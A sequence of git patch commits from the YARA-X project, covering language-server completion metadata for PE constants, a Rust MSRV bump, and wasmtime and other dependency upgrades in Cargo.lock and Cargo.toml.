"integer" + "description": "const integer" } }, { "insertText": "SECTION_NO_DEFER_SPEC_EXC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_NO_DEFER_SPEC_EXC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_GPREL", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_GPREL", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_1BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_1BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_2BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_2BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_4BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_4BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_8BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_8BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_16BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_16BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_32BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_32BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_64BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_64BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_128BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_128BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_256BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_256BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_512BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_512BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_1024BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_1024BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_2048BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_2048BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_4096BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_4096BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_8192BYTES", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_8192BYTES", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_ALIGN_MASK", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_ALIGN_MASK", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_LNK_NRELOC_OVFL", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_LNK_NRELOC_OVFL", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_DISCARDABLE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_DISCARDABLE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_NOT_CACHED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_NOT_CACHED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_NOT_PAGED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_NOT_PAGED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_SHARED", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_SHARED", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_EXECUTE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_EXECUTE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_READ", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_READ", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_MEM_WRITE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_MEM_WRITE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "SECTION_SCALE_INDEX", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "SECTION_SCALE_INDEX", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "HIGH_ENTROPY_VA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "HIGH_ENTROPY_VA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "DYNAMIC_BASE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "DYNAMIC_BASE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "FORCE_INTEGRITY", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "FORCE_INTEGRITY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "NX_COMPAT", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "NX_COMPAT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "NO_ISOLATION", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "NO_ISOLATION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "NO_SEH", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "NO_SEH", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "NO_BIND", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "NO_BIND", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "APPCONTAINER", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "APPCONTAINER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "WDM_DRIVER", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "WDM_DRIVER", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "GUARD_CF", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "GUARD_CF", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "TERMINAL_SERVER_AWARE", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "TERMINAL_SERVER_AWARE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { diff --git a/ls/src/utils/modules.rs b/ls/src/utils/modules.rs index f69641f05..0ee27bc39 100644 --- a/ls/src/utils/modules.rs +++ b/ls/src/utils/modules.rs @@ -347,6 +347,7 @@ pub fn ty_to_string(ty: &Type) -> String { Type::Bool => "bool".to_string(), Type::String => "string".to_string(), Type::Regexp => "regexp".to_string(), + Type::Struct(s) if s.is_enum() => "enum".to_string(), Type::Struct(_) => "struct".to_string(), Type::Func(_) => "func()".to_string(), Type::Array(inner) => format!("array<{}>", ty_to_string(inner)), From 0bd9c4ea9478d1e49a2cabc1592b0ccb9a7ffa39 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 30 Jul 2026 16:03:03 +0200 Subject: [PATCH 011/259] chore: bump MSRV to 1.93.0. --- .github/workflows/tests.yaml | 2 +- Cargo.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.github/workflows/tests.yaml b/.github/workflows/tests.yaml index cefaba763..e52c4ca05 100644 --- a/.github/workflows/tests.yaml +++ b/.github/workflows/tests.yaml @@ -29,7 +29,7 @@ jobs: include: - build: msrv os: ubuntu-latest - rust: 1.91.0 + rust: 1.93.0 target: x86_64-unknown-linux-gnu args: "--features=magic-module,rules-profiling" rust_flags: "-Awarnings" diff --git a/Cargo.toml b/Cargo.toml index e6d31dd1d..1c7b6dbba 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -11,7 +11,7 @@ keywords = ["pattern-matching", "cybersecurity", "forensics", "malware", "yara"] # When updating rust-version also update MSRV in: # .github/workflows/tests.yaml # -rust-version = "1.91.0" +rust-version = "1.93.0" [workspace] members = [ From 873dddee6f134a0d72991f04bf054cc7dd0dfb3a Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 30 Jul 2026 16:05:24 +0200 Subject: [PATCH 012/259] chore: upgrade `wasmtime` to version 45.0.3. --- Cargo.lock | 173 +++++++++++++++++++++++++++++++++-------------------- Cargo.toml | 2 +- 2 files changed, 110 insertions(+), 65 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 85442f2db..872ae916c 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -597,6 +597,15 @@ version = "3.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7704b5fdd17b18ae31c4c1da5a2e0305a2bf17b5249300a9ee9ed7b72114c636" +[[package]] +name = "cpp_demangle" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2bb79cb74d735044c972aae58ed0aaa9a837e85b01106a54c39e42e97f62253" +dependencies = [ + "cfg-if", +] + [[package]] name = "cpufeatures" version = "0.2.17" @@ -608,27 +617,27 @@ dependencies = [ [[package]] name = "cranelift-assembler-x64" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "adc822414b18d1f5b1b33ce1441534e311e62fef86ebb5b9d382af857d0272c9" +checksum = "3d521bdbc6098937af83ef4ab6d5c07398126bc71878f7ef4ea9499977978ef5" dependencies = [ "cranelift-assembler-x64-meta", ] [[package]] name = "cranelift-assembler-x64-meta" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c646808b06f4532478d8d6057d74f15c3322f10d995d9486e7dcea405bf521a" +checksum = "3dde0b83164d4a497860af4236271178bc640512b067101e0853e4f74eaa4df5" dependencies = [ "cranelift-srcgen", ] [[package]] name = "cranelift-bforest" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7b5996f01a686b2349cdb379083ec5ad3e8cb8767fb2d495d3a4f2ee4163a18d" +checksum = "0111d110b72b4efad69a372e29e21628652fd0bcab66967e5c8350ab679affd5" dependencies = [ "cranelift-entity", "wasmtime-internal-core", @@ -636,9 +645,9 @@ dependencies = [ [[package]] name = "cranelift-bitset" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "523fea83273f6a985520f57788809a4de2165794d9ab00fb1254fceb4f5aa00c" +checksum = "cf01ecc92fc5499789d79c3b817299d5a8ddd828d31dcf0f9cc3cc66f38dbb36" dependencies = [ "serde", "serde_derive", @@ -647,9 +656,9 @@ dependencies = [ [[package]] name = "cranelift-codegen" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d73d1e372730b5f64ed1a2bd9f01fe4686c8ec14a28034e3084e530c8d951878" +checksum = "6cd2563bead0090c3879a7ff7327f7550c9d59bb5d05ecc8cd7886977aa3125a" dependencies = [ "bumpalo", "cranelift-assembler-x64", @@ -661,7 +670,7 @@ dependencies = [ "cranelift-entity", "cranelift-isle", "gimli 0.33.0", - "hashbrown 0.16.1", + "hashbrown 0.17.0", "libm", "log", "pulley-interpreter", @@ -675,9 +684,9 @@ dependencies = [ [[package]] name = "cranelift-codegen-meta" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0319c18165e93dc1ebf78946a8da0b1c341c95b4a39729a69574671639bdb5f" +checksum = "9640d250d26f9381a73dc7f9862b27928d4809119aec73be0e556612e67b6a99" dependencies = [ "cranelift-assembler-x64-meta", "cranelift-codegen-shared", @@ -688,24 +697,24 @@ dependencies = [ [[package]] name = "cranelift-codegen-shared" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9195cd8aeecb55e401aa96b2eaa55921636e8246c127ed7908f7ef7e0d40f270" +checksum = "a07f156b90efc94371ddb3536f76e4ab671ad2e093bfa5511e10198cadbb0c47" [[package]] name = "cranelift-control" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8976c2154b74136322befc74222ab5c7249edd7e2604f8cbef2b94975541ffb9" +checksum = "d75a76fd9dd37dcbc3d2d2e00abe3281a7e88adc035fba3b8114cc69981576ec" dependencies = [ "arbitrary", ] [[package]] name = "cranelift-entity" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6038b3147c7982f4951150d5f96c7c06c1e7214b99d4b4a98607aadf8ded89d1" +checksum = "2eea22522144ba08c7e7ef94bfc25d474ef016c2771974b8ab1986734ac85965" dependencies = [ "cranelift-bitset", "serde", @@ -715,9 +724,9 @@ dependencies = [ [[package]] name = "cranelift-frontend" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4cbd294abe236e23cc3d907b0936226b6a8342db7636daa9c7c72be1e323420e" +checksum = "efa2826c80dff1d93b19b3cfbcaf9fae44c78d739a98d146dd5bd89c51e14367" dependencies = [ "cranelift-codegen", "log", @@ -727,15 +736,15 @@ dependencies = [ [[package]] name = "cranelift-isle" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5a90b6ed3aba84189352a87badeb93b2126d3724225a42dc67fdce53d1b139c" +checksum = "e238a69b95c5415456f22189494a12db94f313bb72b6ec9cc88ddf2f1056e28e" [[package]] name = "cranelift-native" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c3ec0cc1a54e22925eacf4fc3dc815f907734d3b377899d19d52bec04863e853" +checksum = "eceb0ebd8d6aef6bb287e8d532a164b0db1c0062961211e9c22a91f67521c098" dependencies = [ "cranelift-codegen", "libc", @@ -744,9 +753,9 @@ dependencies = [ [[package]] name = "cranelift-srcgen" -version = "0.130.2" +version = "0.132.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "948865622f87f30907bb46fbb081b235ae63c1896a99a83c26a003305c1fa82d" +checksum = "004643f39a7bec553de5263d650db30e5b9caec1d5cbe065fd732b7ec9ae40d0" [[package]] name = "crc32fast" @@ -1522,6 +1531,11 @@ name = "hashbrown" version = "0.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4f467dd6dccf739c208452f8014c75c18bb8301b050ad1cfb27153803edb0f51" +dependencies = [ + "foldhash", + "serde", + "serde_core", +] [[package]] name = "heck" @@ -2197,12 +2211,12 @@ dependencies = [ [[package]] name = "object" -version = "0.38.1" +version = "0.39.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "271638cd5fa9cca89c4c304675ca658efc4e64a66c716b7cfe1afb4b9611dbbc" +checksum = "2e5a6c098c7a3b6547378093f5cc30bc54fd361ce711e05293a5cc589562739b" dependencies = [ "crc32fast", - "hashbrown 0.16.1", + "hashbrown 0.17.0", "indexmap", "memchr", ] @@ -2538,9 +2552,9 @@ checksum = "33cb294fe86a74cbcf50d4445b37da762029549ebeea341421c7c70370f86cac" [[package]] name = "pulley-interpreter" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ec12fe19a9588315a49fe5704502a9c02d6a198303314b0c7c86123b06d29e5" +checksum = "b04adf8f93264685f2c70a3edb8f828c791e71b22659253319c33f29d1165aef" dependencies = [ "cranelift-bitset", "log", @@ -2550,9 +2564,9 @@ dependencies = [ [[package]] name = "pulley-macros" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "36f7d5ef31ebf1b46cd7e722ffef934e670d7e462f49aa01cde07b9b76dca580" +checksum = "2c120a6af1a574a42efcd9df2ad27cb78bc04118c5e0c69e90599f17301a1c7a" dependencies = [ "proc-macro2", "quote", @@ -2822,6 +2836,12 @@ dependencies = [ "zeroize", ] +[[package]] +name = "rustc-demangle" +version = "0.1.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b74b56ffa8bb2830709a538c2cbcae9aa062db0d2a42563bfb09bdaae44020eb" + [[package]] name = "rustc-hash" version = "1.1.0" @@ -3720,8 +3740,8 @@ dependencies = [ "leb128", "log", "walrus-macro", - "wasm-encoder", - "wasmparser", + "wasm-encoder 0.245.1", + "wasmparser 0.245.1", ] [[package]] @@ -3852,7 +3872,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3f9dca005e69bf015e45577e415b9af8c67e8ee3c0e38b5b0add5aa92581ed5c" dependencies = [ "leb128fmt", - "wasmparser", + "wasmparser 0.245.1", +] + +[[package]] +name = "wasm-encoder" +version = "0.248.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac92cf547bc18d27ecc521015c08c353b4f18b84ab388bb6d1b6b682c620d9b6" +dependencies = [ + "leb128fmt", + "wasmparser 0.248.0", ] [[package]] @@ -3868,22 +3898,35 @@ dependencies = [ "serde", ] +[[package]] +name = "wasmparser" +version = "0.248.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa4439c5eee9df71ee0c6efb37f63b1fcb1fec38f85f5142c54e7ed05d33091a" +dependencies = [ + "bitflags 2.13.1", + "hashbrown 0.17.0", + "indexmap", + "semver", + "serde", +] + [[package]] name = "wasmprinter" -version = "0.245.1" +version = "0.248.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5f41517a3716fbb8ccf46daa9c1325f760fcbff5168e75c7392288e410b91ac8" +checksum = "30b264a5410b008d4d199a92bf536eae703cbd614482fc1ec53831cf19e1c183" dependencies = [ "anyhow", "termcolor", - "wasmparser", + "wasmparser 0.248.0", ] [[package]] name = "wasmtime" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "efb1ed5899dde98357cfdcf647a4614498798719793898245b4b34e663addabf" +checksum = "8a83ef84ac8bab735c89e27b0268b0586099fbe81281ae45be2b8e4f407b2daa" dependencies = [ "addr2line", "async-trait", @@ -3905,7 +3948,7 @@ dependencies = [ "serde_derive", "smallvec", "target-lexicon", - "wasmparser", + "wasmparser 0.248.0", "wasmtime-environ", "wasmtime-internal-core", "wasmtime-internal-cranelift", @@ -3919,47 +3962,49 @@ dependencies = [ [[package]] name = "wasmtime-environ" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4172382dcc785c31d0e862c6780a18f5dd437914d22c4691351f965ef751c821" +checksum = "439686d3deb38525c86b88bbc90f7ba669f70c8edc7d6b35147c738bbef5ff76" dependencies = [ "anyhow", + "cpp_demangle", "cranelift-bforest", "cranelift-bitset", "cranelift-entity", "gimli 0.33.0", - "hashbrown 0.16.1", + "hashbrown 0.17.0", "indexmap", "log", "object", "postcard", + "rustc-demangle", "serde", "serde_derive", "sha2", "smallvec", "target-lexicon", - "wasm-encoder", - "wasmparser", + "wasm-encoder 0.248.0", + "wasmparser 0.248.0", "wasmprinter", "wasmtime-internal-core", ] [[package]] name = "wasmtime-internal-core" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9a3820b174f477d2a7083209d1ad5353fcdb11eaea434b2137b8681029460dd3" +checksum = "3073c03f97f871fe6400e68621c863b93ba79296f8e570285231952d23fcc804" dependencies = [ - "hashbrown 0.16.1", + "hashbrown 0.17.0", "libm", "serde", ] [[package]] name = "wasmtime-internal-cranelift" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d1679d205caf9766c6aa309d45bb3e7c634d7725e3164404df33824b9f7c4fb7" +checksum = "7a15981261d361f9c93b42929f446b4009840853ceea181ad6e17730f4016a0b" dependencies = [ "cfg-if", "cranelift-codegen", @@ -3975,7 +4020,7 @@ dependencies = [ "smallvec", "target-lexicon", "thiserror 2.0.18", - "wasmparser", + "wasmparser 0.248.0", "wasmtime-environ", "wasmtime-internal-core", "wasmtime-internal-unwinder", @@ -3984,9 +4029,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-fiber" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f1e505254058be5b0df458d670ee42d9eafe2349d04c1296e9dc01071dc20a85" +checksum = "33aed9d91d54c9f861ba7e3c3130bded8a7a63e01fe58c3a9a36b45d6ee0fb57" dependencies = [ "cc", "cfg-if", @@ -3999,9 +4044,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-jit-debug" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c2e05b345f1773e59c20e6ad7298fd6857cdea245023d88bb659c96d8f0ea72" +checksum = "944942118aab67e7b4febfe88a65d0af4cfd10af8ed0e79fd6cf39d75359ab7e" dependencies = [ "cc", "wasmtime-internal-versioned-export-macros", @@ -4009,9 +4054,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-jit-icache-coherence" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b86701b234a4643e3f111869aa792b3a05a06e02d486ee9cb6c04dae16b52dab" +checksum = "37dee05e8c35759826f6b926cd949c51f771b6a58619d8e60c63c3f3d3e5e59b" dependencies = [ "cfg-if", "libc", @@ -4021,9 +4066,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-unwinder" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f63558d801beb83dde9b336eb4ae049019aee26627926edb32cd119d7e4c83cd" +checksum = "a83f7ebe911a6f1605ff0d3a678472ddb1fcc57c3e2f6bae5dd4d170b625b3ed" dependencies = [ "cfg-if", "cranelift-codegen", @@ -4034,9 +4079,9 @@ dependencies = [ [[package]] name = "wasmtime-internal-versioned-export-macros" -version = "43.0.2" +version = "45.0.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "737c4d956fc3a848541a064afb683dd2771132a6b125be5baaf95c4379aa47df" +checksum = "d75980644456dc003238766254b0e5f002704630237ccd0728747991fe2739d7" dependencies = [ "proc-macro2", "quote", diff --git a/Cargo.toml b/Cargo.toml index 1c7b6dbba..849d33d14 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -106,7 +106,7 @@ walrus = "0.26.4" wasm-bindgen = "0.2.125" wasm-bindgen-test = "0.3.75" wasm-opt = "0.116.1" -wasmtime = { version = "43.0.2", default-features = false } +wasmtime = { version = "45.0.3", default-features = false } x509-parser = "0.18.0" yansi = "1.0.1" yara-x = { path = "lib", version = "1.19.0" } From cc8e4fff6de301e6fc3ef0a36e69cb971beda20c Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 30 Jul 2026 16:07:41 +0200 Subject: [PATCH 013/259] chore: upgrade to `daachorse` version 4.0.0. --- Cargo.lock | 4 ++-- Cargo.toml | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 872ae916c..9f4092c7d 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -914,9 +914,9 @@ dependencies = [ [[package]] name = "daachorse" -version = "3.0.3" +version = "4.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5614204febbc33cc07a2806aa6440b904ac012b68eecc37f4493ea4a76455a3d" +checksum = "d358f1fa877be3097baa74c1fc22288626450392cb37d844f850baa60e6439a0" [[package]] name = "darling" diff --git a/Cargo.toml b/Cargo.toml index 849d33d14..82af53182 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -31,7 +31,7 @@ resolver = "3" [workspace.dependencies] -daachorse = "3.0.3" +daachorse = "4.0.0" annotate-snippets = "0.12.16" anyhow = "1.0.103" hex = "0.4.3" From 1b0da614b1401e9ca4665a23145b569810e0bcf5 Mon Sep 17 00:00:00 2001 From: "Victor M. Alvarez" Date: Thu, 30 Jul 2026 16:12:03 +0200 Subject: [PATCH 014/259] chore: upgrade dependencies. --- Cargo.lock | 30 +++++++++++++++--------------- Cargo.toml | 12 ++++++------ cli/Cargo.toml | 2 +- 3 files changed, 22 insertions(+), 22 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 9f4092c7d..0be6096da 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -119,9 +119,9 @@ dependencies = [ [[package]] name = "anyhow" -version = "1.0.103" +version = "1.0.104" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a4385e2e34eb35d6b3efe798b9eb88096925d87726c0798709bf56d9ed84af3" +checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" [[package]] name = "arbitrary" @@ -176,9 +176,9 @@ dependencies = [ [[package]] name = "assert-call" -version = "0.1.2" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c274781190b3e50cf755b89fddbf61167d6bade949bfb1c1ed210cc7b5e6340" +checksum = "5c9d161d62c0763184babfa523a9a3b4e650fdf086a8e6b9a5f45721ff401586" dependencies = [ "yansi", ] @@ -265,9 +265,9 @@ checksum = "4c7f02d4ea65f2c1853089ffd8d2787bdbc63de2f0d29dedbcf8ccdfa0ccd4cf" [[package]] name = "base64" -version = "0.22.1" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" +checksum = "b25655df2c3cdd83c5e5b293b88acd880332b2ddadd7c30ac43144fdc0033da9" [[package]] name = "base64ct" @@ -550,9 +550,9 @@ dependencies = [ [[package]] name = "console" -version = "0.16.3" +version = "0.16.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d64e8af5551369d19cf50138de61f1c42074ab970f74e99be916646777f8fc87" +checksum = "4fe5f465a4f6fee88fad41b85d990f84c835335e85b5d9e6e63e0d06d28cba7c" dependencies = [ "encode_unicode", "libc", @@ -1756,11 +1756,11 @@ dependencies = [ [[package]] name = "indicatif" -version = "0.18.4" +version = "0.18.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "25470f23803092da7d239834776d653104d551bc4d7eacaf31e6837854b8e9eb" +checksum = "9433806cd6b4ec1aba79c021c7e4c58fb4c3b9977c085062e611ac929998fb0c" dependencies = [ - "console 0.16.3", + "console 0.16.4", "portable-atomic", "unicode-width", "unit-prefix", @@ -3102,15 +3102,15 @@ dependencies = [ [[package]] name = "simd-adler32" -version = "0.3.9" +version = "0.3.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "703d5c7ef118737c72f1af64ad2f6f8c5e1921f818cdcb97b8fe6fc69bf66214" +checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea" [[package]] name = "simd_cesu8" -version = "1.1.1" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "94f90157bb87cddf702797c5dadfa0be7d266cdf49e22da2fcaa32eff75b2c33" +checksum = "11031e251abf8611c80f460e19dbdeb54a66db918e49c65a7065b46ac7aec520" dependencies = [ "rustc_version", "simdutf8", diff --git a/Cargo.toml b/Cargo.toml index 82af53182..8c195e2de 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -33,10 +33,10 @@ resolver = "3" [workspace.dependencies] daachorse = "4.0.0" annotate-snippets = "0.12.16" -anyhow = "1.0.103" +anyhow = "1.0.104" hex = "0.4.3" ascii_tree = "0.1.1" -base64 = "0.22.1" +base64 = "0.23.0" bincode = "2.0.1" bitflags = "2.13.1" bitvec = "1.1.1" @@ -107,7 +107,7 @@ wasm-bindgen = "0.2.125" wasm-bindgen-test = "0.3.75" wasm-opt = "0.116.1" wasmtime = { version = "45.0.3", default-features = false } -x509-parser = "0.18.0" +x509-parser = "0.18.1" yansi = "1.0.1" yara-x = { path = "lib", version = "1.19.0" } yara-x-fmt = { path = "fmt", version = "1.19.0" } @@ -116,9 +116,9 @@ yara-x-parser = { path = "parser", version = "1.19.0" } yara-x-proto = { path = "proto", version = "1.19.0"} zip = { version = "8.2.0", default-features = false } tinyzip = "0.4.0" -simd-adler32 = "0.3.9" -simd_cesu8 = "1.1.1" -assert-call = "0.1.2" +simd-adler32 = "0.3.10" +simd_cesu8 = "1.2.0" +assert-call = "0.2.0" # Special profile that builds a release binary with link-time optimization. # Compiling with this profile takes a while, but the resulting binary is diff --git a/cli/Cargo.toml b/cli/Cargo.toml index cf8881798..5f0eade1d 100644 --- a/cli/Cargo.toml +++ b/cli/Cargo.toml @@ -79,7 +79,7 @@ chardetng = "1.0.0" crossbeam = "0.8.4" crossterm = "0.29.0" dunce = "1.0.5" -indicatif = "0.18.4" +indicatif = "0.18.6" unicode-width = "0.2.2" wild = "2.2.1" From d64bc0fcd098e986b3db9393e452a9cb90c0933e Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 30 Jul 2026 14:13:18 +0000 Subject: [PATCH 015/259] chore(deps-dev): bump postcss from 8.5.15 to 8.5.25 in /playground (#723) 